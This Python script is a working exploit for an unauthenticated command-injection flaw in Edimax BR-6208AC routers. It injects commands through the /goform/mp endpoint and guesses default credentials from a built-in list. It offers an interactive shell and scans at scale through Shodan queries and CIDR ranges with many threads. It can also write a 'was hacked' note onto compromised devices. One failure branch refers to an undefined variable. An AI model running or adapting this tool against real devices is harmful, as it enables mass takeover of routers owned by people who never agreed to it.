#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/carterlasalle/CVE-2026-122051 (see README for attribution/license)
"""br6208 — CVE-2026-122051: Edimax BR-6208AC /goform/mp unauth command injection.

bin/webs (Boa/0.94.14rc21) does, verbatim:
    Var = websGetVar(a1, "command", "");
    if ((p = strchr(Var, ';'))) *p = 0;          /* ';' truncates */
    sprintf(buf, "/bin/rftest.sh %s > /tmp/rftest.out", Var);
    system(buf);
    /* reads /tmp/rftest.out back into the response */
`|`, `&`, backticks and `$()` survive; stdout is echoed between
<font color="red"> and </font>.  Auth is Basic only (default admin:1234) and
is skipped entirely when the box has auth disabled.

Point it at one host; it negotiates port/TLS/credentials itself, retries,
keeps the working session and drops into a shell.

    ./br6208.py --ip 1.2.3.4 --shell
    ./br6208.py --ip 1.2.3.4 --exec 'id; uname -a'
    ./br6208.py --ip 1.2.3.4 --note --verify
    SHODAN_API_KEY=... ./br6208.py --discover --check
"""
import argparse, base64, html, json, os, re, ssl, sys, threading, time, urllib.parse, urllib.request
from concurrent.futures import ThreadPoolExecutor

UA = "Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0"
MARK = "BR6208MK4417"
OUT_RE = re.compile(r'</font><br>\s*(.*?)</body>', re.S)
VER_RE = re.compile(r'(?:V|ver\.?|Version\s*:?\s*)(\d+\.\d+)', re.I)
NOTE_PATH = "/tmp/PLEASE_UPDATE_EDIMAX_WAS_HACKED.txt"
NOTE = ("EDIMAX BR-6208AC WAS HACKED via CVE-2026-122051 (/goform/mp pre-auth RCE). "
        "Update the firmware. at=%s")
AUTHS = ["", "admin:1234", "admin:admin", "admin:", "root:1234", "admin:password", "root:admin", "admin:edimax"]
PORTS = [80, 8080, 8000, 443]
CTX = ssl._create_unverified_context()


class NoRetry(urllib.request.HTTPRedirectHandler):
    """Keep 302 visible so we can tell 'alive' from 'missing'."""
    def redirect_request(self, *a, **kw):
        return None


OPENER = urllib.request.build_opener(NoRetry)


def split_target(t):
    h, _, p = t.rpartition(":")
    return (h, int(p)) if h and p.isdigit() else (t, 80)


def req(host, port, path, data=None, timeout=8, auth=None, tls=False):
    # NOTE: Boa 0.94 hangs when a POST carries Content-Type:
    # application/x-www-form-urlencoded on some builds, so we send the body
    # with no Content-Type at all (verified against live BR-6208AC-family).
    import http.client
    h = "[%s]" % host if ":" in host else host
    if tls:
        c = http.client.HTTPSConnection(h, port, timeout=timeout, context=CTX)
    else:
        c = http.client.HTTPConnection(h, port, timeout=timeout)
    headers = {"User-Agent": UA, "Connection": "close"}
    if auth:
        headers["Authorization"] = "Basic " + base64.b64encode(auth.encode()).decode()
    body = urllib.parse.urlencode(data).encode() if data is not None else None
    if body is not None:
        headers["Content-Length"] = str(len(body))
    try:
        c.request("POST" if body is not None else "GET", path, body=body, headers=headers)
        r = c.getresponse()
        return r.status, r.read(200000).decode("utf-8", "replace")
    finally:
        c.close()


def run(host, port, cmd, auth="", tls=False, timeout=12):
    # `;` truncates in the handler, so callers pass one command; stdout of the
    # last pipeline element is what lands in /tmp/rftest.out and gets echoed.
    payload = "aa | %s" % cmd
    try:
        st, body = req(host, port, "/goform/mp", {"command": payload, "getID": ""}, timeout, auth, tls)
    except Exception as e:
        return None, "err:%s" % type(e).__name__
    m = OUT_RE.search(body)
    if not m:
        if MARK in body:                      # template variant: no output block
            return MARK, "ok"
        return None, {200: "no-echo", 401: "401", 302: "302"}.get(st, str(st))
    txt = html.unescape(m.group(1)).replace("<br>", "\n").replace("&nbsp;", " ")
    txt = re.sub(r"<[^>]+>", "", txt)
    return txt.strip(), "ok"


class Session:
    """Negotiated access: finds port/TLS/auth that works once, then reuses it."""

    def __init__(self, host, ports, auths, tls=True):
        self.host, self.ports, self.auths, self.try_tls = host, ports, auths, tls
        self.port = self.tls = self.auth = None
        self.last_reason = "unreachable"

    def probe(self):
        """Alive = the handler echoes our marker (GET may 404 on real firmware)."""
        for port in self.ports:
            for tls in ([False, True] if self.try_tls else [False]):
                out, why = run(self.host, port, "echo %s" % MARK, "", tls)
                if why in ("ok", "401", "302"):
                    self.port, self.tls = port, tls
                    return True
                self.last_reason = why
        return False

    def negotiate(self):
        """Find credentials (if any) by echoing a marker; caches the winner."""
        if self.port is None and not self.probe():
            return False
        out, why = run(self.host, self.port, "echo %s" % MARK, "", self.tls)
        if why == "ok" and MARK in (out or ""):
            self.auth = ""
            return True
        order = [self.port] + [p for p in self.ports if p != self.port]
        for port in order:
            for auth in self.auths:
                for _ in range(2):
                    out, why = run(self.host, port, "echo %s" % MARK, auth, self.tls)
                    if MARK in (out or ""):
                        self.port, self.auth = port, auth
                        return True
                    if why.startswith("err:") and port == self.port:
                        time.sleep(1); continue
                    break
        return False

    def exec_many(self, cmd, timeout=20):
        outs = []
        for part in [c.strip() for c in cmd.split(";") if c.strip()]:
            out, why = self.exec(part, timeout)
            if why != "ok":
                return None, why
            outs.append(out)
        return "\n".join(outs), "ok"

    def exec(self, cmd, timeout=20):
        if self.port is None and not self.negotiate():
            return None, "not-vulnerable (%s)" % self.last_reason
        for _ in range(2):
            out, why = run(self.host, self.port, cmd, self.auth or "", self.tls, timeout)
            if why == "ok":
                return out, "ok"
            time.sleep(1)
        return None, why


def version_of(s):
    try:
        _, body = req(s.host, s.port or 80, "/goform/mp", timeout=6, auth=s.auth or "", tls=s.tls or False)
        m = VER_RE.search(body)
        return m.group(1) if m else None
    except Exception:
        return None


def one(target, args):
    host, port = split_target(target)
    s = Session(host, [port], args.auth_list, args.tls)
    if not s.negotiate():
        return {"host": host, "port": int(p or 0), "vuln": False, "reason": s.last_reason}
    r = {"host": host, "port": s.port, "tls": s.tls, "vuln": True, "auth": s.auth,
         "version": version_of(s)}
    r["id"], _ = s.exec_many("id; uname -a; cat /etc/version 2>/dev/null; cat /proc/version")
    if args.exec:
        r["exec"], _ = s.exec_many(args.exec)
    if args.note:
        out, _ = s.exec("echo '%s' > %s && echo WROTE" % (NOTE % time.strftime("%FT%TZ", time.gmtime()), NOTE_PATH))
        r["note"] = bool(out and "WROTE" in out)
    return r


def shodan(key, pages):
    hosts = set()
    for q in ('product:Edimax', 'http.title:Edimax', 'http.html:goform/mp', 'http.html:rftest'):
        for page in range(1, pages + 1):
            url = "https://api.shodan.io/shodan/host/search?" + urllib.parse.urlencode(
                {"key": key, "query": q, "minify": "true", "page": page})
            try:
                with urllib.request.urlopen(url, timeout=25) as r:
                    d = json.load(r)
            except Exception as e:
                print("shodan %s p%d: %s" % (q, page, e)); break
            ms = d.get("matches", [])
            for m in ms:
                hosts.add("%s:%d" % (m["ip_str"], m["port"]))
            if len(ms) < 100:
                break
    return sorted(hosts)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--ip"); ap.add_argument("--targets"); ap.add_argument("--cidr")
    ap.add_argument("--check", action="store_true", help="batch mode over --targets/--cidr/--discover")
    ap.add_argument("--discover", action="store_true"); ap.add_argument("--pages", type=int, default=3)
    ap.add_argument("--ports", default="80,8080")
    ap.add_argument("--no-tls", dest="tls", action="store_false")
    ap.add_argument("--auth", help="extra user:pass[,user:pass]")
    ap.add_argument("--exec"); ap.add_argument("--shell", action="store_true")
    ap.add_argument("--note", action="store_true"); ap.add_argument("--verify", action="store_true")
    ap.add_argument("--workers", type=int, default=48)
    ap.add_argument("--out", default="br6208.jsonl")
    args = ap.parse_args()

    args.port_list = [int(p) for p in args.ports.split(",")]
    args.auth_list = (args.auth.split(",") if args.auth else []) + AUTHS

    if args.ip:
        s = Session(args.ip, args.port_list, args.auth_list, args.tls)
        if not s.negotiate():
            sys.exit("not vulnerable: %s" % s.last_reason)
        print("up: %s:%d tls=%s auth=%r" % (s.host, s.port, s.tls, s.auth))
        if args.note:
            out, _ = s.exec("echo '%s' > %s && echo WROTE" % (NOTE % time.strftime("%FT%TZ", time.gmtime()), NOTE_PATH))
            print("note:", "written" if out and "WROTE" in out else "failed")
        if args.verify:
            print(s.exec("ls -l %s; cat %s" % (NOTE_PATH, NOTE_PATH))[0])
        if args.exec:
            print(s.exec_many(args.exec)[0])
        if args.shell:
            while True:
                try:
                    c = input("$ ")
                except EOFError:
                    break
                if c.strip() in ("exit", "quit"):
                    break
                out, why = s.exec(c)
                print(out if out is not None else "<%s>" % why)
        if args.exec or args.note or args.shell or args.verify:
            return

    tgt = []
    if args.targets:
        tgt += [l.strip() for l in open(args.targets) if l.strip() and not l.startswith("#")]
    if args.cidr:
        import ipaddress
        tgt += ["%s:%d" % (ip, p) for ip in ipaddress.ip_network(args.cidr, strict=False).hosts()
                for p in args.port_list]
    if args.discover:
        key = os.environ.get("SHODAN_API_KEY")
        if not key:
            sys.exit("set SHODAN_API_KEY")
        tgt += shodan(key, args.pages)
    tgt = list(dict.fromkeys(tgt))
    if not tgt:
        sys.exit("no targets")

    hits = 0
    lock = threading.Lock()
    with open(args.out, "a") as fh, ThreadPoolExecutor(args.workers) as ex:
        def safe(t):
            try:
                return one(t, args)
            except Exception as e:
                return {"host": t, "vuln": False, "reason": "err:%s" % e}
        for r in ex.map(safe, tgt):
            if not r.get("vuln"):
                continue
            with lock:
                hits += 1
                fh.write(json.dumps(dict(r, ts=time.strftime("%FT%TZ", time.gmtime()))) + "\n"); fh.flush()
                print("VULN %s:%s auth=%r ver=%s %s" % (r["host"], r["port"], r["auth"], r.get("version"),
                                                      (r.get("id") or "").replace("\n", " / ")))
                if r.get("exec"):
                    print("  exec:", (r["exec"] or "").replace("\n", "\n        "))
    print("vulnerable: %d/%d" % (hits, len(tgt)))


if __name__ == "__main__":
    main()
